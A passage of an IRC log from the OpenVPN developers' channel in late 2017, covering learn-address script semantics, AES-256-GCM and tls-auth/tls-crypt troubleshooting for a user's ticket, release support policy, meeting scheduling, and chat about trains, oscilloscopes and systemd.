routes get distributed via quagga (etc) 05:19 <@cron2> so maybe use --client-disconnect for route deletion instead 05:20 <@cron2> need to check if that has all data 05:22 <@ordex> cron2: can still be problematic in UDP mode (or even in TCP mode when the client disconnects without a proper connection termination) 05:23 <@cron2> that's the way it is - "sesion" vs "packety things" always has caveats 05:23 <@ordex> yeah 05:24 <@cron2> you need --keepalive on the server to ensure stuff gets cleaned up, and maybe introduce some sort of timestamping ("this client has reconnected in the meantime, so not remove routes") 05:24 <@ordex> well, I think openvpn already handles that by not deleting a route being used by a new client 05:28 <@cron2> right... need to test this more 05:34 <@ordex> I think if we give learn-address-delete more context, the guy can solve his problem consistently, because there would be no conflict at that point (I think) 05:37 <@dazo> if deploying --explicit-exit-notify in the client configs (only for --proto udp), then the server will get the "FIN" notification and close the session quicker 05:38 <@dazo> which again triggers --client-disconnect and --learn-address delete much quicker 05:48 <@ordex> sure, but still racy 05:48 <@dazo> but it is tricky cleaning up things with --learn-address ... I recall that from the eurephia plug-in .... I have session token which is saved in a separate list when --client-disconnect happens, and when --learn-address delete comes a bit later, and it uses the argv[2] (IP address) field as a key 05:48 <@dazo> yeah 05:48 <@ordex> if the route is clearly identifiable instead, there should be no race as there is only one "component" adding/removing it 05:49 <@dazo> exactly 05:49 <@dazo> we can probably stuff more details into the env when calling learn-address, which provides more details 05:50 <@ordex> this is what the ugy in the ticket would like (as far as I understood). but right now the environment passed to learn-route-delete is empty, so no way to achieve that 05:53 <@dazo> hmmm .... se need to look closer at multi_reap_range() in multi.c:199 ... this is where the delete stuff call happens 05:54 <@dazo> If needed, we can extend learn_address_script() with more arguments (static/local function), which is further added as env variables in learn_address_script() 05:54 <@ordex> dazo: there is another point for calling delete 05:54 <@ordex> where delete gets called* 05:55 <@dazo> is it? 05:55 <@dazo> ahh ... 05:55 * dazo looks closer 05:55 <@dazo> yeah, you have check_stale_routes() too 05:55 <@ordex> yup 05:57 <@dazo> eek ... the multi_context is fairly complex, with states and peer-id handling as well 05:58 <@dazo> oh, multi_context is for all connected clients 06:00 <@ordex> yu 06:00 <@ordex> the mi argument is the client instance, which is NULL upon delete 06:00 <@dazo> yeah 06:00 <@dazo> so getting that properly set would probably be a nice solution 06:01 <@ordex> that is NULL probably because it does not exist at that time as it was already deleted 06:01 <@dazo> hmmm 06:01 <@ordex> but i don't think it is required? we could just populate the env with basic info, like the dev name and some other generic info 06:02 <@ordex> that would be enough to identify the openvpn scene in the system, I guess? 06:02 <@dazo> dev-name will always be "tunX" (or whatever --dev is set to) 06:02 <@ordex> from the client we already have the IP that is passed to the script as argument 06:02 <@ordex> yup, which is unique for that openvpn process and which helps identifying the route, like the guy said in the ticke,t no? 06:03 <@dazo> ahh, okay .... I was looking for something even more fine grained 06:03 <@ordex> oh ok 06:03 <@dazo> like the VPN client's IP address 06:03 <@ordex> I think that's already what is passed as argument 06:03 <@ordex> to the script 06:04 <@ordex> no? 06:04 <@ordex> <@ordex> from the client we already have the IP that is passed to the script as argument << this is what I meant here 06:04 <@ordex> anyway, need to go out :) talk later! 06:04 <@dazo> no, it's the address to be deleted which is reported, but not necessarily the same as the VPN IP ... it can also be iroute related addresses 06:05 <@dazo> (and to make things more complicated, in TAP mode ... you get the MAC address) 06:06 <@dazo> that's the challenge with --learn-address ... the semantic isn't too well defined ... and the minimal semantic depends on the configuration 06:58 <@cron2> dazo: I think the way it is done now, learn-address for deletion is only called "long after the client is gone", not at client disconnect time - so there is nothing left 06:59 <@cron2> but yeah, populating $dev would be good (and client-independent) 06:59 * cron2 was reading a bit out of order 06:59 <@dazo> true 07:01 <@dazo> haha ... there's a joke in multi.h .... describing struct multi_reap .... 07:26 <@cron2> yeah 07:39 <@plaisthos> sorry that I did not really have time for OpenVPN in the last months :/ 07:40 <@plaisthos> but anyway, when is everyone leaving next week on Sunday, I am just booking my trains 07:51 <@plaisthos> hm looks like I am going travel first class on train as 2nd class + seat reservsation is exactly the as 1st class, which includes seat reservation for free 08:45 <@syzzer> plaisthos: iirc we (GertvD and me) catch a train to Delft somewhere Sun end-of-afternoon 08:48 <@plaisthos> yeah, I figured out that there are not so many good options anyway for me, so I am leaving at around 16:30 09:07 <@ordex> oh this reminds me that I have to book the train too :D 09:28 <@ordex> dazo: syzzer cron2 mattock: do we want to try to move this community meeting to wednesday morning your time then? 09:34 <@mattock> ordex: tomorrow's meeting? 09:34 <@mattock> I would be fine with that 09:34 <@ordex> mattock: yep 09:35 <@mattock> although around 10:15 - 11:45 I will be responsible for $child, but in a chat meeting that's not necessarily a showstopper 09:39 <@plaisthos> ordex: :) 09:39 <@ordex> ayo! 09:40 <@plaisthos> I waited way way too long with booking trains, now paying ~70EUR for each each 09:42 <@ordex> mh 09:42 <@ordex> maybe I should book this SOON 09:43 <@plaisthos> yeah, as I said, for me 1st class DB price is the same as 2nd, probably 2nd class already almost full and 1st class empty 09:44 <@ordex> can they put me on the roof? 09:44 <@ordex> butmy trip is short :) 09:44 <@ordex> let's see 09:45 <@plaisthos> last time the prices where like this, people were sitting on the floor in 2nd class and I had a whole 1st class wagon to myself :D 09:45 <@ordex> :D 09:45 <@ordex> l u x u r y 09:45 <@ordex> I get you 09:51 <@dazo> reg meeting tomorrow ... 11:00 would be nice for me at least :) (and quite achievable) 09:52 <@mattock> how about 11:30 or 11:45? 09:52 <@mattock> I would be more present then :P 09:53 <@plaisthos> ordex: You say "your time" and then adress people in different time zones (finnish time aka east european time) and syzzer/cron (central europan time) 09:53 <@plaisthos> :D 09:54 <@ordex> I right, I forgot about finland 09:54 <@ordex> :D 09:54 <@ordex> mah, why must it be so complicated 09:54 <@ordex> can't we all be on UTC? :D 09:54 <@ordex> well, we almost are :O 09:55 <@ordex> mattock: timezone ? 09:55 <@ordex> dazo: suggests 11am CET (aka UTC+1 now) 09:55 <@ordex> lol 09:55 <@ordex> I feel like a watch 09:55 <@mattock> CET 09:56 * dazo always forgets mattock is 1 hour ahead of CET/CEST 09:56 <@ordex> ok 09:56 <@ordex> mattock is always ahead 09:56 <@dazo> :-P 09:56 <@dazo> 11:30 CET tomorrow is fine for me 09:57 <@ordex> that sounda good to me too. we have to check with cron2 and syzzer 09:57 <@ordex> *sounds 09:59 * dazo closed trac #458 10:00 <@plaisthos> tommorrow I have time too :0 10:00 <@mattock> \o/ 10:12 <@ordex> mh my ticket is still cheap cheap 11:28 <@mattock> I will send the invitation for tomorrow, with 11:30 CET as the time 11:30 <@ordex> thanks 12:44 < CRCinAU> almost UTC.... these guys..... ;) 12:45 < CRCinAU> also, any closure on the contrib world yet? ) 12:45 < CRCinAU> :) 13:22 <@vpnHelper> RSS Update - tickets: #952: "comp-lzo no" and "compress" options not compatible <https://community.openvpn.net/openvpn/ticket/952> 14:17 <@cron2> 11:30 tomorrow CET is good for me 14:48 <@vpnHelper> RSS Update - tickets: #953: Dual-Stack Server with tls-auth has errors when IPv6 clients connect <https://community.openvpn.net/openvpn/ticket/953> 14:51 < GPF> I opened.. yes, that ticket 14:51 <@cron2> :) 14:54 <@dazo> GPF: I'll let our IPv6 guru poke at this first .... just a performance tip .... --auth SHA1 or SHA256 is more than sufficient, and reduces the packet overhead tremendously .... but even better is to use AES-256-GCM, which have no auth overhead (as it is part of the cipher itself) ... I believe iOS clients handle GCM too 14:55 <@dazo> ordex might know that better (iOS and GCM support) 14:55 < GPF> okay, I went trough --show-digests and at least the gcm was not there 14:55 <@cron2> dazo: our IPv6 guru decided that this is weird and syzzer/ordex want this :-) 14:56 <@dazo> hehehe :-P 14:56 <@cron2> GPF: GCM is not a digest, strictly speaking, but a cipher that includes a digest in single-pass operation - so, efficient, fast, and secure (or so they tell me) 14:56 < GPF> okay, it didn't occur to me, I only considered the show-digest outputs for tls-auth 14:57 < GPF> but I can change that 14:57 < GPF> Also I'm now on the iOS beta so I've got all the shiny new things 14:57 <@dazo> iirc, GCM have 0 bytes overhead, SHA1 20 bytes, SHA256 32 bytes and SHA512 64 bytes 14:57 <@cron2> oh, cool :-) 14:57 <@dazo> that is cool, indeed! .... that means maybe even tls-crypt works too 14:57 <@cron2> it might even autonegotiate AES-256-GCM with the 2.4 server, no matter what you have configured as --cipher 14:58 <@dazo> true 14:58 < GPF> dazo: it should, yes :) 14:58 < GPF> does android support tls-crypt? 14:58 * dazo don't recall all the fun stuff we've put into the latest iOS stuff 14:58 < GPF> because I would really want to use that 14:58 < GPF> so I can just put AES-256-GCM in the tls-auth option and that should work? 14:59 < GPF> then I'll try that 14:59 <@dazo> ordex is the one involved the Android, iOS and macOS OpenVPN Connect clients these days .... so he knows best :) 14:59 < GPF> okay :) 14:59 <@dazo> you want --cipher AES-256-GCM 14:59 <@cron2> "OpenVPN for Android" is based on 2.x master, so has all the nice bits from there. "OpenVPN Connect" is the same code base as iOS, and I think ordex just released a new one of this one 14:59 <@dazo> and just ignore --auth 14:59 < GPF> oh okay 14:59 <@cron2> dazo: isn't --auth still used to decide which alg to use for --tls-auth? 14:59 <@cron2> (even if AES-256-GCM wouldn't use it anymore) 15:00 < GPF> Yes that's what I thought 15:00 < GPF> that --auth is used only for tls-auth 15:00 <@cron2> where is syzzer when you need him... 15:00 < GPF> at least the man page made me think that :D 15:00 < GPF> Also I would really like to create the private key on my iphone 15:00 < GPF> but that seems not possible 15:00 <@dazo> I current "OpenVPN for Android" (open source) does not do --tls-crypt via the GUI config stuff .... might be able to embed it as an "extended free text option" 15:00 < GPF> at least I found no solution to that 15:01 <@dazo> cron2: true ... --tls-auth depends on SHA1 ... but iirc, our use of SHA1 in --tls-auth is safe 15:01 < GPF> " If an AEAD cipher mode (e.g. GCM) is chosen, the specified --auth algorithm is ignored for the data channel, and the authentication method of the AEAD cipher is used instead.! 15:01 <@dazo> new deployments can find SHA256 a reasonable alternative, with not too much extra overhead 15:01 <@cron2> dazo: it's a HMAC, so even MD5 is still okish, they tell me 15:02 <@dazo> yeah, that's it 15:02 <@cron2> SHA1 for HMAC is perfectly safe 15:02 <@dazo> and no --auth in configs means SHA1 15:04 <@dazo> plaisthos: your Android app needs an option to flip between tls-auth and tls-crypt ;-) 15:05 < GPF> hm intreresting 15:05 < GPF> when I remove auth 15:05 < GPF> and use cipher AES-256-GCM 15:05 < GPF> client doesn'T connect either 15:05 < GPF> and server logs 15:05 < GPF> ovpn-vpn[8771]: TLS Error: cannot locate HMAC in incoming packet from [AF_INET6]... 15:07 <@dazo> GPF: you need to remove auth from the server config too ... also set the same cipher 15:08 <@cron2> to be safe, yes. But otherwise iOS->2.4 really should negotiate the cipher (but I'd need to see the log to be sure) 15:08 <@cron2> anyway 15:08 < GPF> yes I removed auth from the server and set the cipher on both ends 15:09 < GPF> both sides have cipher AES-256-GCM in the config and no "auth ..." line 15:09 <@cron2> GPF: with or without --tls-auth? 15:09 < GPF> with tls-auth 15:10 <@cron2> mmmh, so something is really funky in that combination (because dual-stack without --tls-auth "just works", at least in all my setups) 15:10 < GPF> strange indeed 15:11 <@plaisthos> dazo: my ui has tls-crypt 15:11 <@plaisthos> although it might be easier, you can choose as direction for tls-auth 0/1 or tls-cryt 15:12 <@dazo> plaisthos: hmmm .... which version? is the latest version in F-Droid? 15:13 <@dazo> I'm running 0.6.73 .... so if it is there, I'm probably too blind to see it :) 15:14 <@dazo> ahhh! 15:14 <@dazo> There it is! 15:14 * dazo was stupid and didn't look at the proper place 15:19 < GPF> arrrg 15:19 < GPF> I updated to the Debian backports version 15:19 < GPF> which changed systemd service files for openvpn 15:20 < GPF> and somehow that made it not kill the old daemon 15:20 < GPF> so.. I'm retesting with AES-256-GCM 15:20 < GPF> and made sure the server restarted actually this time 15:21 < GPF> as soon as my iPhone finishes updating to iOS 11.1 -_- 15:25 < GPF> okay 15:26 < GPF> Oct 31 21:25:48 alita ovpn-vpn[7182]: TLS Error: tls-crypt unwrapping failed from [AF_INET6]2001:4c50:62f:8800:81f2:c691:1288:d54f:63522 15:26 < GPF> Oct 31 21:25:50 alita ovpn-vpn[7182]: tls-crypt unwrap error: packet authentication failed 15:26 < GPF> so using tls-crypt doesn't work either :) 15:31 <@dazo> curious about --tls-auth then 18:46 <@ordex> new OpenVPN Connect for Android is out (1.1.21) :) 19:30 <@ordex> GPF: do you still have the "Re-using SSL/TLS context" output on the server? 19:45 < GPF> ordex: with the tls-crypt? no, only the two new lines I pasted 19:46 <@ordex> oh ok, so it really changed error 19:46 <@ordex> mh ok 19:46 < GPF> yeah 19:46 < GPF> I'll have to go, be back tomorrow :) 19:47 <@ordex> oky! talk soon --- Day changed Wed Nov 01 2017 03:24 <@ordex> dazo: the new android app ships mbedtls 2.6.0...get ready for the flood of complains due to the stricter requirements.. 03:29 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 248 seconds] 03:30 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 03:30 -!- mode/#openvpn-devel [+o pekster] by ChanServ 04:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 04:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:09 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:29 <@dazo> ordex: and thank you for an informative "What's new" section! ... I hate it when app updates just say "various bug fixes and improvements" ... or even worse is booking.com which contains basically no information whatsoever, despite using too many words doing exactly that :) 04:30 <@ordex> :D 04:30 <@ordex> apparently there were way more hidden bugs 04:30 <@ordex> compared to what we mentioned :P 04:30 <@ordex> but tried to fix them all 04:30 <@ordex> *trying 04:33 <@cron2> is the iOS beta still where it used to be, on staging.openvpn.net? 04:34 <@ordex> no 04:34 <@cron2> bah 04:34 <@ordex> I upload alpha releases onto swupdate.openvpn.net, but latest releases are not there because we are moving to S3/Cloudfront and right now I have no access to that 04:34 <@ordex> beta releases are given out with testflight 04:34 <@ordex> directly on your iOS device 04:35 <@ordex> if you give me your email I can add you to the beta testers 04:35 <@cron2> the nice thing about https://staging.openvpn.net/ios/ was "release notes" :-) - so I could sneak preview what James had been doing without having to actually install things (unless I wanted to test it) 04:36 <@ordex> eheh 04:36 <@plaisthos> hm needs a password I don't know :p 04:36 <@ordex> right now we don't have release notes, but that could be easily done actually 04:36 <@plaisthos> not that I have an ios device anyway 04:37 <@ordex> eheh 04:37 <@cron2> release notes good! 06:04 <@vpnHelper> RSS Update - tickets: #954: Add a 2.3 server to the t_client test setup <https://community.openvpn.net/openvpn/ticket/954> 07:02 <@dazo> mattock: why did you remove the Fedora EPEL stuff from the OpenVPN software repos? 07:02 <@dazo> https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos?sfp_email=&sfph_mail=&action=diff&version=31&old_version=30&sfp_email=&sfph_mail= 07:02 <@vpnHelper> Title: OpenvpnSoftwareRepos (diff) – OpenVPN Community (at community.openvpn.net) 07:03 <@dazo> For RHEL and clones, you need to use EPEL for the latest OpenVPN releases .... so feels odd we're not pointing users in that direction 07:18 -!- slypknot is now known as tincantech 07:18 < CRCinAU> https://www.youtube.com/watch?v=3rov5I0CQKw 07:28 < tincantech> CRCinAU: blech! 07:29 < tincantech> nice tech .. but what a rip ;) 07:29 < CRCinAU> ;) 07:30 < tincantech> ahh .. it's growing on me :) 07:31 < CRCinAU> it does do that.... 07:31 < CRCinAU> I started watching their channel about......... 2 1/2 hours ago? 07:32 < tincantech> It's mid day here .. so maybe later after dark i'll listen again ;) 07:37 < CRCinAU> rh - its 23:237 here now 07:37 < CRCinAU> errr 07:37 < CRCinAU> rh - its 23:27 here now 07:39 < tincantech> i know i ctcp'd you ;) 07:40 <@dazo> syzzer: as you started this ball, you get a chance to have a say first ;-) https://community.openvpn.net/openvpn/wiki/SupportedVersions 07:40 <@vpnHelper> Title: SupportedVersions – OpenVPN Community (at community.openvpn.net) 07:41 < CRCinAU> ah - that actually worked lol 07:43 < tincantech> dazo: so no Win Bin for up coming 2.3.19 .. I can hear the angry mob battering at the door right now ! 07:46 <@dazo> tincantech: no, 2.3.19 is the last 2.3 release for Windows 07:46 <@dazo> but after that, 2.3 is only getting tarball releases 07:47 <@cron2> tincantech: not really. 2.4 is much better on windows, so unless you insist on running XP, there is no reason to stick to 2.3 07:48 <@dazo> yeah .... and XP is no longer officially supported by MS (unless you're an enterprise who cash out an insane amount of money to keep that platform alive a bit longer) 07:49 <@cron2> ... in which case, if you send me insane amount of money, I'll be happy to build a 2.3.20 installer for you... :) 07:49 <@dazo> :-P 07:50 <@dazo> Even *I* could consider doing that if the price tag was right :) 07:54 <@cron2> so, train to Karlsruhe booked 07:54 <@cron2> takes me about as long as to Delft 07:55 <@cron2> it's not far away, but the train connections are not convenient 07:59 <@dazo> how would it be to take a car? 08:00 <@plaisthos> cron2: also travelling 1st because of stupid prices? :D 08:00 <@cron2> faster, but this is one of the routes that are traffic-jam-prone - so you'll never know 08:01 <@cron2> plaisthos: yes, saving 2 EUR going 1st 08:01 <@plaisthos> oh saving 2 EUR even... 08:01 <@plaisthos> i am only break even going 1st 08:01 <@cron2> maps says car is 3:19h, while train is 4h (plus getting to it, so ~4:40 overall) 08:01 <@cron2> but 1st class train is much more relaxing than driving yourself 08:02 <@plaisthos> and you get a cookie! 08:02 <@cron2> oh, and wasn't the wifi free in 1st and you have to pay in 2nd? 08:03 <@plaisthos> used to be 08:03 <@plaisthos> now wifi sucks in both classes 08:03 <@dazo> hehe ... that's good arguments for 1st class trains regardless :) 08:03 <@plaisthos> :) 08:04 <@dazo> cookies + wifi, that is! ;-) 08:04 < tincantech> Don't get me wrong .. I don't disagree .. just I can hear the howling ;) 08:04 <@plaisthos> I have a free t-mobile hotspot in my contract but I never used it 08:04 <@dazo> tincantech: btw ... v2.3.19 will become an "old stable release", where we intend to provide at least fixes for critical issues for some time forward. But the clock is ticking and XP users need to be abandoned at some point. Just like we did with Win2K some years ago. 08:04 <@cron2> ah, he's right... wifi is free in 2nd as well, and since then everyone is downloading moviez like crazy, so it's shit everywhere 08:05 <@cron2> dazo: speaking of old releases... I can't even remember when we decided to drop w2k support 08:05 <@dazo> :-P 08:05 <@plaisthos> since using LTE+tethering worked better even when it was only free for 1st class (and for people who had t-mobile hotspot in their contracts) 08:05 <@dazo> cron2: it was related to a discussion on "how long will we support v2.2" ;-) as the 2.3 installers didn't work on that platform :) 08:06 <@dazo> so we decided when MS drops Win2K support, we will do it too :) 08:06 <@dazo> it's 4-5 years ago or so 08:07 <@dazo> 2.2.3 was released Nov 30, 2014 ... so 4 years ago :-P 08:07 <@dazo> duh ... 3 years 08:07 * dazo lives in the future 08:08 * cron2 needs to dig up his LTE stick... haven't used that one in a long time (had a LTE *router* with me in Summer, because "better antenna", but unpacking that in the train might cause questions... too many antennas, must be something evil: http://www.rut950.com/ (scroll down) 08:08 <@vpnHelper> Title: Teltonika RUT950 4G Router - Teltonika RUT950 4G Router (at www.rut950.com) 08:09 <@plaisthos> cron2: I once did my analog discovery course on the train :D 08:09 <@plaisthos> Wires, Breadboard and an USB Osciloscope. Actually got into a discussion with someone who worked in the electronics industry %) 08:09 <@cron2> nice :) 08:10 <@cron2> now where's my USB scope... :))) 08:13 <@plaisthos> but then again, I am white male -> "nerdy guy with electroics", instead of "terrorist doing strange stuff" 08:14 <@dazo> plaisthos: grow some serious beard, dress all black ... and some hours in a solarium, and that impression might change :-P 08:16 <@dazo> cron2: what does those cost? 08:20 <@cron2> dazo: somewhere between "near to nothing" (like, 50 EUR) and "helluvalot!" 08:21 <@cron2> I have the "Xminilab portable", which is really not very good when it comes to analogue signals, but has a nice TTL analyzer and can do RS232 and that stuff out of the box, plus it has a display - costs $120 (I thought I spent less, but anyway) - http://www.gabotronics.com/oscilloscopes/xminilab-portable-oscilloscope.htm 08:21 <@vpnHelper> Title: Xminilab Portable | Oscilloscopes | Gabotronics (at www.gabotronics.com) 08:21 <@dazo> heh ... yeah, in Norway it's seems to be hard to get ... and the price was not reasonable (€800) 08:22 <@cron2> http://www.gabotronics.com/development-boards/xmega-xminilab.htm - that one is $59, it's about the same thing but has no battery and casing 08:22 <@vpnHelper> Title: XMEGA Xminilab | Development Boards | Gabotronics (at www.gabotronics.com) 08:23 <@dazo> ohhh ... nice! 08:23 <@dazo> I've been wanting something like that for debugging some arduino projects .... 08:24 <@cron2> this looks like the thing you want indeed :-) - I'll take it along 08:26 <@dazo> cool! 08:39 <@plaisthos> dazo: also the sealogic logic analyzers are nice 08:39 <@plaisthos> if want more signal debugging 08:39 <@plaisthos> salae logic 08:40 <@plaisthos> no, saleae logic 08:41 <@dazo> ohhh .... now we're talking :) 08:42 <@dazo> nice gui 08:44 <@dazo> plaisthos: is it possible to have a live view on the inputs as well, or only recording? 08:45 <@dazo> (but the display on the Xminilab, despite being fairly tiny it seems ... is helpful though) 09:07 <@plaisthos> dazo: only recording 09:11 <@dazo> hmmm ... pity ... still a nice device though 09:28 <@plaisthos> if you interested in that stuff, I can bring it along 09:45 <@syzzer> I have a SmartScope (https://www.lab-nation.com/), can bring that one too if you want :p 09:47 <@syzzer> but tbh, I think I'd buy a Salea thingy now if I had to choose. Not as good in analog stuff, but better software and I really like the fact that they stream the trace to the PC, so there is no limit on the number of samples per trace 09:50 <@plaisthos> the analog support of the sealogic is more nice gimmik 09:50 <@plaisthos> even the specified bandwith with 1 mhz is tiny :) 09:52 <@syzzer> yeah, it's really a cheap logic analyser, not a scope. But in practice I've only ever used the logic analyzer functions. I went for something with better analog support because I Wanted to toy with side-channel analysis, but never got to it... 09:53 <@plaisthos> :) 09:57 <@plaisthos> channels sampled at 100 Mhz each 09:57 <@plaisthos> that is sketchy marketing 09:57 <@plaisthos> normally you specify samples per second 09:58 <@plaisthos> and if you check specs then you see that is actually "only" 30 Mhz bandwidth. (Shannon tells you that is <= 50Mhz) 10:03 <@syzzer> yeah, I know... 10:04 <@syzzer> but is was on kickstarter and there were only x thingies left (ie, it was an impulsive action to buy the thing) 12:02 <@dazo> kickstarter and indigogo is a dangerous place to be if you're in an impulsive mood ;-) 13:35 <@syzzer> cron2: now that the meeting was moved to this morning, you have all night to hack on openvpn, right? ;-) 13:44 <@syzzer> because there's this nice patch waiting for you: <1485290304-12292-1-git-send-email-steffan@karger.me> 13:45 <@syzzer> (or actually, the v2 in that thread) 13:52 <@syzzer> wow, sounds like we have the perfect candidate to fix the MSI packaging! 14:10 * cron2 is not here 14:12 <@cron2> (I'd love to do a bit more openvpn hacking, but right now I need to get tax paperwork in order, plus write a few invoices...) 14:24 <@syzzer> oh, joy... 14:30 < tincantech> dazo: as Fedora maintianer could you please classify and possibly answer this : https://forums.openvpn.net/viewtopic.php?f=6&t=25193&p=74032#p74032 14:31 < tincantech> thank you 15:01 <@dazo> tincantech: that one was just too easy 15:02 <@dazo> $ sudo openvpn --config /etc/openvpn/server.conf <<< that gave the clue of the incorrect path 15:05 <@dazo> (and in this case, this was a typical systemd related question - not Fedora directly) 15:10 < tincantech> dazo: thanks :) 15:49 < tincantech> I still think openvpn needs a basic systemd page .. ? 15:56 <@syzzer> bleh, systemd... recently it decided it was a good idea to stall my laptop's boot for 20 seconds to wait for a wireless network connection :/ what idiots come up with this...? 15:57 < floppym> syzzer: systemd disable NetworkManager-wait-online.service 15:57 < floppym> s/systemd/systemctl/ 15:58 < floppym> Some people have the opposite problem -- they have some boot service that starts before the network is "ready". 15:58 < floppym> (and fails) 15:59 <@syzzer> floppym: thanks, yeah, I did that already. 15:59 <@syzzer> then *that* service should wait, or depend on something that waits. 16:00 <@syzzer> and not "let's annoying anyone with a laptop" as a default :/ 16:00 < floppym> It's not enabled by default by systemd. Possibly your linux distro turned it on. 16:01 <@syzzer> it was enabled by the package maintainer because "this is the systemd way" or so 16:01 < floppym> Well, the package maintainer is making stuff up then. ;) 16:04 <@syzzer> sounds plausible, or I've just gotten this fed up with systemd that I start to blame it for everything ;-) 16:04 < tincantech> it is all there in systemd .. iot just pain ful to relearn 16:05 < tincantech> Requires=, After= etc 16:05 < tincantech> I do wonder if M$ don't pay Poetter behind the back tho 16:11 <@dazo> syzzer: try running 'systemd-analyze blame' 16:12 <@dazo> I had a similar experience ... and it was caused by some iscsi client service, as I had used an iscsi drive and it had been configured to automatically log into the target - which also happened during boot 16:13 <@syzzer> dazo: in my case it was exactly what floppym mentioned, someone just thought it would be good idea to annoy laptop users 16:14 <@dazo> ahh, right 16:14 <@dazo> anyhow, systemd-analyze is still a cool and helpful tool to debug such things ;-) 16:15 <@syzzer> yeah, looks interesting. can it also trace dependencies? 16:15 <@dazo> I think so 16:15 <@syzzer> the default output is totally uninteresting, what I care about is "how fast do I have a workable desktop env?" 16:16 <@dazo> well, the top of the output are actually stuff which does slow down the boot 16:16 <@syzzer> ah, "systemd-analyze critical-chain" is *exactly* what I wanted 16:17 <@dazo> yeah :) 16:18 <@syzzer> dazo: I don't care about "the boot", I care about "how soon can I do stuff". Some services may perfectly fine continue starting in the background. Stuff like auto updaters and whatnot. 16:19 <@dazo> right .... and if a boot service takes 40 seconds to complete .... that can influence "how soon can I do stuff" ;-) (but yeah, things are started in parallel too, so critical-chain fills the gap) 16:22 <@syzzer> dazo: so now that I distracted you anyway, can I tempt you to check out this small but lovely little patch? ;-) https://patchwork.openvpn.net/patch/35/ 16:22 <@vpnHelper> Title: [Openvpn-devel] make struct key * argument of init_key_ctx const - Patchwork (at patchwork.openvpn.net) 16:23 <@dazo> lol :) 16:23 <@dazo> I'll put it in my work queue ... need to prepare for bed soonish .... need to be on the road 6:30 tomorrow morning :( 16:24 <@syzzer> oof, better get some sleep then 16:24 <@syzzer> was worth a try though :p 16:25 <@dazo> ;-) 16:27 <@cron2> syzzer: I'll try to get to it tomorrow 16:27 <@syzzer> \o/ 16:28 * syzzer is processing ordex' comments on the pf stuff, annoying to test... 17:31 < tincantech> syzzer, if i can help test .. able and willing 17:32 * tincantech would also like to see ordex' ipv6pf 17:33 < tincantech> ordex: nudge nudge wink wink .. say no more ;) 18:05 < tincantech> fyi: tincantech = slypknot 18:19 < tincantech> CRCinAU: this is just for you ( good mornin ;) ) .. https://www.youtube.com/watch?v=GeUx5sdp3qM 18:23 < tincantech> CRCinAU: also https://www.youtube.com/watch?v=DU-ntRAV4lg : Olden days ! 18:49 < tincantech> CRCinAU: https://www.youtube.com/watch?v=jLP_4soc-oE .. feckin rip ! 18:51 < tincantech> CRCinAU: scandroid should do Soft Cell .. 19:07 < tincantech> sometimes i almost feel like i broke google 19:20 < tincantech> CRCinAU: tis is a blast | https://www.youtube.com/watch?v=1k9A63Swwzs 19:20 < tincantech> last one .. i promise 19:32 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 19:50 < tincantech> CRCinAU: that last one will "grow on you" 20:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:00 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:23 < CRCinAU> hahahaa 20:37 < tincantech> CRCinAU: wana see a rip ? 20:37 < tincantech> a bad rip 21:13 < CRCinAU> I'll show you a good RIP.... 21:13 < CRCinAU> http://lkml.iu.edu/hypermail/linux/kernel/1710.3/02474.html 21:13 <@vpnHelper> Title: Linux-Kernel Archive: Re: regression in 4.14-rc2 caused by apparmor: add base infastructure for socket mediation (at lkml.iu.edu) --- Day changed Thu Nov 02 2017 04:17 <@syzzer> ordex: I'm looking at tls-crypt-v2 again 04:17 <@ordex> cool 04:19 <@syzzer> you said something about the script not working for the 'default' metadata type 04:20 <@syzzer> but I can't recall exactly what that was, and *think* the verify code does what it's supposed to 04:20 <@syzzer> so I'm afraid I might be making the exact same thinko that I made while writing the code :') 04:20 <@syzzer> do you recall what the problem was? 04:23 <@ordex> syzzer: I think there is no real problem, my statement was based on a wrong assumption 04:23 <@ordex> after rechecking the code I think I made up my mind and I was happy :) 04:23 <@syzzer> ah, perfect! 04:23 <@ordex> but i will recheck later anyway 04:23 <@ordex> eheh 04:23 <@ordex> :D 04:24 <@syzzer> so updating docs it is... 05:11 <@cron2> mornin 05:15 <@syzzer> moin :) 06:41 <@plaisthos> moin (: 06:45 <@vpnHelper> RSS Update - tickets: #955: OpenVPN Connect unable to connect to OpenVPN server <https://community.openvpn.net/openvpn/ticket/955> 06:46 <@novaflash> :) and so the complaints roll in 06:55 <@ordex> yeah hehe 06:55 <@ordex> do you mind if I reply to this? 06:55 <@ordex> novaflash: or you want to take it ? 06:55 <@novaflash> go ahead, you know the words of power 06:56 <@novaflash> first: UPDATE YOUR SHIT, second: we're working on it :-D 07:04 <@ordex> it's another ASUS router 07:08 <@novaflash> ah then he can't update that shit 07:08 <@novaflash> perhaps i should try to get in contact with asus and tell them off for using 3+ year old openvpn 07:08 <@ordex> well 07:09 <@ordex> then you should do that with everybody 07:09 <@ordex> th problem is that this TW/CN companies do not understand software 07:09 <@ordex> they just get some sdk, push some buttons and flash the firmware on the board 07:09 <@ordex> DONE! 07:09 <@ordex> :D 07:09 <@novaflash> HELLO YES WE OPENVPN 07:09 <@novaflash> THANKYOU FOR BUSINESS haPPY SUNNY DAYS TO YOU +++++ 07:10 <@ordex> lol 07:10 <@ordex> jokes apart, you can try to convince them, but that takes time..unless you have some insider or you know who to talk to 07:10 <@ordex> tell them: "upgrade this or antoniofromhongkong will visit you!" 07:10 <@ordex> to! 07:11 <@novaflash> i was on aliexpress a while back dealing with some shady businesses only to get some electronics components. the sum total was like 15 usd. i was offered in bright red lettering: ORDER 49985.- USD MORE AND GET 0.01 DISCOUNT 07:11 <@novaflash> it was tempting. 07:12 <@ordex> yeah I know 07:12 <@ordex> you get to be careful 07:22 <@ordex> fire in da holeeee 07:22 * ordex hides again 07:25 <@cron2> j 07:25 <@syzzer> k 07:28 <@cron2> ordex: what did you break? 07:28 <@ordex> nothing 07:28 <@ordex> yet 07:28 <@ordex> :D 07:28 <@cron2> I always say that :) 